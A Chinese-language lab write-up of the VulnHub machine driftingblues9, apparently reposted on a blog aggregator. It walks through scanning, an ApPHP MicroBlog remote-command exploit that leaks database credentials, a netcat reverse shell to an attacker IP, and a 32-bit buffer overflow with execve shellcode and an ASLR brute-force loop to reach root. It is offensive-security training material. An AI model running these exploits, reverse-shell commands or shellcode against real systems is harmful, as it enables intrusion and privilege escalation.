driftingblues9 - 溢出ASLR(内存地址随机化机制)

2024-06-19 05:28

本文主要是介绍driftingblues9 - 溢出ASLR(内存地址随机化机制),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Site Unreachable

driftingblues9easyaPphp GETSHELL、searchsploit使用、凭据收集、gdb使用、

缓冲区溢出漏洞(难)、pattern_create.rb、pattern_offset.rb 使用

主机发现

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ sudo netdiscover -i eth0 -r 192.168.44.139/24

服务探测

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ sudo nmap -sV -A -T 4 -p- 192.168.44.139  80/tcp    open  http    Apache httpd 2.4.10 ((Debian))111/tcp   open  rpcbind 2-4 (RPC #100000)

目录扫描

http://192.168.44.139/README.txt// ApPHP MicroBlog Free
// Version: 1.0.1

漏洞扫描

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ searchsploit apphp                      
------------------------------------------- ---------------------------------Exploit Title                             |  Path
------------------------------------------- ---------------------------------
ApPHP MicroBlog 1.0.1 - Multiple Vulnerabi | php/webapps/33030.txt
ApPHP MicroBlog 1.0.1 - Remote Command Exe | php/webapps/33070.py┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ searchsploit -m php/webapps/33030.txt  Exploit: ApPHP MicroBlog 1.0.1 - Multiple VulnerabilitiesURL: https://www.exploit-db.com/exploits/33030Path: /usr/share/exploitdb/exploits/php/webapps/33030.txtCodes: OSVDB-106352, OSVDB-106351Verified: True
File Type: ASCII text
Copied to: /home/kali/桌面/OSCP/33030.txt┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ python2 33070.py http://192.168.44.139/-= LOTFREE exploit for ApPHP MicroBlog 1.0.1 (Free Version) =-
original exploit by Jiko : http://www.exploit-db.com/exploits/33030/
[*] Testing for vulnerability...
[+] Website is vulnerable[*] Fecthing phpinfoPHP Version 5.6.40-0+deb8u12System   Linux debian 3.16.0-4-586 #1 Debian 3.16.51-2 (2017-12-03) i686Loaded Configuration File   /etc/php5/apache2/php.iniApache Version   Apache/2.4.10 (Debian)User/Group   www-data(33)/33Server Root   /etc/apache2DOCUMENT_ROOT   /var/www/htmlPHP Version   5.6.40-0+deb8u12allow_url_fopen  On  Onallow_url_include  Off  Offdisable_functions  pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,  pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,open_basedir   no value    no valueSystem V Message based IPC   Wez FurlongSystem V Semaphores   Tom MaySystem V Shared Memory   Christian Cartus[*] Fetching include/base.inc.php
<?php// DATABASE CONNECTION INFORMATIONdefine('DATABASE_HOST', 'localhost');           // Database hostdefine('DATABASE_NAME', 'microblog');           // Name of the database to be useddefine('DATABASE_USERNAME', 'clapton'); // User name for access to databasedefine('DATABASE_PASSWORD', 'yaraklitepe');     // Password for access to databasedefine('DB_ENCRYPT_KEY', 'p52plaiqb8');         // Database encryption keydefine('DB_PREFIX', 'mb101_');              // Unique prefix of all table names in the database?>[*] Testing remote execution
[+] Remote exec is working with system() :)
Submit your commands, type exit to quit
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

经过一番排查,我们发现用户clapton的密码被重复使用su一下

提权

反弹shell

> nc -e /bin/bash 192.168.44.128 9001┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9001script /dev/null -c bashsu clapton //yaraklitepe
clapton@debian:~$ cat note.txt  
cat note.txt
buffer overflow is the way. ( ° ʖ °)if you're new on 32bit bof then check these:
翻译
缓冲区溢出就是这样。如果您是 32 位的新手,请检查以下内容:
https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
https://samsclass.info/127/proj/lbuf1.htmclapton@debian:~$ cat user.txt
cat user.txt
F569AA95FAFF65E7A290AB9ED031E04F

上面已经提示了有缓冲区溢出漏洞还给出了教程链接,来学习学习
首先我们先下载靶机里面的input 文件

PWN

由于此靶机上启用了ASLR,为了进行漏洞利用开发,我将此输入二进制文件复制到我的 Kali 中。

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ cat /proc/sys/kernel/randomize_va_space 
2

ASLR(系统开启的)
ASLR是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。
在linux中使用此技术后,杀死某程序后重新开启,地址换。
在windows中使用此技术后,杀死进程后重新开启,地址不换,重启才会改变。

以上cat命令输出的值表示:
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。

我必须先禁用 ASLR,然后在 gdb 中加载二进制文件。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gdb -q input

生成字符

┌──(kali㉿kali)-[~]
└─$ msf-pattern_create -l 300┌──(kali㉿kali)-[~]
└─$ cd /usr/share/metasploit-framework/tools/exploit ┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 2000

gdb调试,得到可以看到在 0x41376641 处得到了分段错误。

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ gdb -q input
Reading symbols from input...
(No debugging symbols found in input)
(gdb) r    xxxxxxxxxxxxxx好多字符Program received signal SIGSEGV, Segmentation fault.
0x41376641 in ?? ()

现在,我们需要用它来查找偏移量。
接着我们使用 patter_offset.rb 来查找我们可以覆盖 EIP 的字节数。执行后可以看到171字节后可以覆盖EIP。

┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -l 200 -q 0x41376641
[*] Exact match at offset 171┌──(kali㉿kali)-[~]
└─$ msf-pattern_offset -l 200 -q 0x41376641
[*] Exact match at offset 171

Leave等价于:

mov l %ebp %esp

pop l %ebp

shellcode来自于Linux/x86 - execve(/bin/sh) + NOT Encoded Shellcode (27 bytes) - Linux_x86 shellcode Exploit

我们在 171 处得到了精确匹配。现在,我们可以使用 python 命令简单地创建字符串。例如,输入包含具有 171 个 A、4 个 B 和 500 个 nop 的简单输入。
我们可以使用 gdb 中的参数来进行测试

./input $(python2 -c 'print "A" * 171 + "B" * 4 + "\x90" * 500')
┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ gdb -q input
Reading symbols from input...
(No debugging symbols found in input)
(gdb) run $(python2 -c 'print "A"*171 + "B"*4 + "\x90"*500')
Starting program: /home/kali/桌面/OSCP/input $(python2 -c 'print "A"*171 + "B"*4 + "\x90"*500')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/s $esp
0xffffccd0:     '\220' <repeats 200 times>...
(gdb) 

之后,我检查了 esp 寄存器,并由于小端字节序而用相反顺序的esp地址(由于此时esp地址存储的是下一跳地址,所以还有一种方法二,这个地址话可以填成jmp esp指令的地址(VulnHub-driftingblues:9_driftingblues9-CSDN博客))替换了 4 个 B。之后,我在 nop sled 之后添加了 shell。我的最终输入如下:

run $(python2 -c 'print "A" * 171 + "\xd0\xcc\xff\xff" + "\x90" * 2000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')

我也在目标机器上重复了相同的过程。但是,目标上的 ASLR 已启用,如果没有 root 权限,我们无法禁用它。因此,我们必须多次迭代相同的代码行。
我替换了之前有效负载中的地址并运行了 for 循环
经过两次不同的尝试,我得到了 root shell 和 flag

ldd input //0xb75ba000for i in {1..10000}; do (./input $(python -c 'print "A" * 171 + "\xa0\xe4\xff\xbf" + "\x90" * 2000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')); done

在 CUTTER 中分析了二进制文件。发现数组大小为 171,这是我们的偏移值

前面的是在kali主机上进行的测试,esp的值和靶机里面的esp的值是不同的,下面才是在靶机中进行提取的

0xbffe48a0:

clapton@debian:~$ gdb -q input
(gdb) run $(python2 -c 'print "A"*171 + "B"*4 + "\x90"*500')(gdb) x/ws $esp
x/ws $esp
0xbffe48a0:     U'\x90909090' <repeats 125 times>clapton@debian:~$ for i in {1..10000}; do (./input $(python -c 'print "A" * 171 + "\xa0\xe4\xff\xbf" + "\x90" * 2000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"')); done
# cat /root/root.txt
cat /root/root.txtthis is the final of driftingblues series. i hope you've learned something from them.you can always contact me at vault13_escape_service[at]outlook.com for your questions. (mail language: english/turkish)your root flag:04D4C1BEC659F1AA15B7AE731CEEDD65good luck. ( ° ʖ °)

在 CUTTER 中分析了二进制文件。发现数组大小为 171,这是我们的偏移值。


这篇关于driftingblues9 - 溢出ASLR(内存地址随机化机制)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1074128

相关文章

Linux系统稳定性的奥秘:探究其背后的机制与哲学

在计算机操作系统的世界里,Linux以其卓越的稳定性和可靠性著称,成为服务器、嵌入式系统乃至个人电脑用户的首选。那么,是什么造就了Linux如此之高的稳定性呢?本文将深入解析Linux系统稳定性的几个关键因素,揭示其背后的技术哲学与实践。 1. 开源协作的力量Linux是一个开源项目,意味着任何人都可以查看、修改和贡献其源代码。这种开放性吸引了全球成千上万的开发者参与到内核的维护与优化中,形成了

Spring中事务的传播机制

一、前言 首先事务传播机制解决了什么问题 Spring 事务传播机制是包含多个事务的方法在相互调用时,事务是如何在这些方法间传播的。 事务的传播级别有 7 个,支持当前事务的:REQUIRED、SUPPORTS、MANDATORY; 不支持当前事务的:REQUIRES_NEW、NOT_SUPPORTED、NEVER,以及嵌套事务 NESTED,其中 REQUIRED 是默认的事务传播级别。

多头注意力机制(Multi-Head Attention)

文章目录 多头注意力机制的作用多头注意力机制的工作原理为什么使用多头注意力机制?代码示例 多头注意力机制(Multi-Head Attention)是Transformer架构中的一个核心组件。它在机器翻译、自然语言处理(NLP)等领域取得了显著的成功。多头注意力机制的引入是为了增强模型的能力,使其能够从不同的角度关注输入序列的不同部分,从而捕捉更多层次的信息。 多头注意力机

Linux-笔记 线程同步机制

目录 前言 实现 信号量(Semaphore) 计数型信号量 二值信号量  信号量的原语操作 无名信号量的操作函数 例子 互斥锁(mutex) 互斥锁的操作函数 例子 自旋锁 (Spinlock) 自旋锁与互斥锁的区别 自旋锁的操作函数 例子 前言         线程同步是为了对共享资源的访问进行保护,确保数据的一致性,由于进程中会有多个线程的存在,

Spring 集成 RabbitMQ 与其概念,消息持久化,ACK机制

目录 RabbitMQ 概念exchange交换机机制 什么是交换机binding?Direct Exchange交换机Topic Exchange交换机Fanout Exchange交换机Header Exchange交换机RabbitMQ 的 Hello - Demo(springboot实现)RabbitMQ 的 Hello Demo(spring xml实现)RabbitMQ 在生产环境

Rust:Future、async 异步代码机制示例与分析

0. 异步、并发、并行、进程、协程概念梳理 Rust 的异步机制不是多线程或多进程,而是基于协程(或称为轻量级线程、微线程)的模型,这些协程可以在单个线程内并发执行。这种模型允许在单个线程中通过非阻塞的方式处理多个任务,从而实现高效的并发。 关于“并发”和“并行”的区别,这是两个经常被提及但含义不同的概念: 并发(Concurrency):指的是同时处理多个任务的能力,这些任务可能在同一时

ROS话题通信机制实操C++

ROS话题通信机制实操C++ 创建ROS工程发布方(二狗子)订阅方(翠花)编辑配置文件编译并执行注意订阅的第一条数据丢失 ROS话题通信的理论查阅ROS话题通信流程理论 在ROS话题通信机制实现中,ROS master 不需要实现,且连接的建立也已经被封装了,需要关注的关键点有三个: 发布方(二狗子)订阅方(翠花)数据(此处为普通文本) 创建ROS工程 创建一个ROS工程

Java面试题:内存管理、类加载机制、对象生命周期及性能优化

1. 说一下 JVM 的主要组成部分及其作用? JVM包含两个子系统和两个组件:Class loader(类装载)、Execution engine(执行引擎)、Runtime data area(运行时数据区)、Native Interface(本地接口)。 Class loader(类装载):根据给定的全限定名类名(如:java.lang.Object)装载class文件到Runtim

C++初学者指南第一步---14.函数调用机制

C++初学者指南第一步—14.函数调用机制 文章目录 C++初学者指南第一步---14.函数调用机制1.记住:内存的结构2.函数调用是如何工作的3. 不要引用局部变量4. 常见编译器优化5. Inlining内联 1.记住:内存的结构 堆(自由存储) 用于动态存储期对象,例如 std::vector 的内容。空间大,可以用于大容量存储(大多数用于主内存)。可以根据需要分配

AI 大模型企业应用实战(11)-langchain 的Document Loader机制

loader机制让大模型具备实时学习的能力: 0 Loader机制 案例环境准备: import osos.environ["OPENAI_API_KEY"] = "sk-javaedge"os.environ["OPENAI_PROXY"] = "https://api.chatanywhere.tech"import osfrom dotenv import load_doten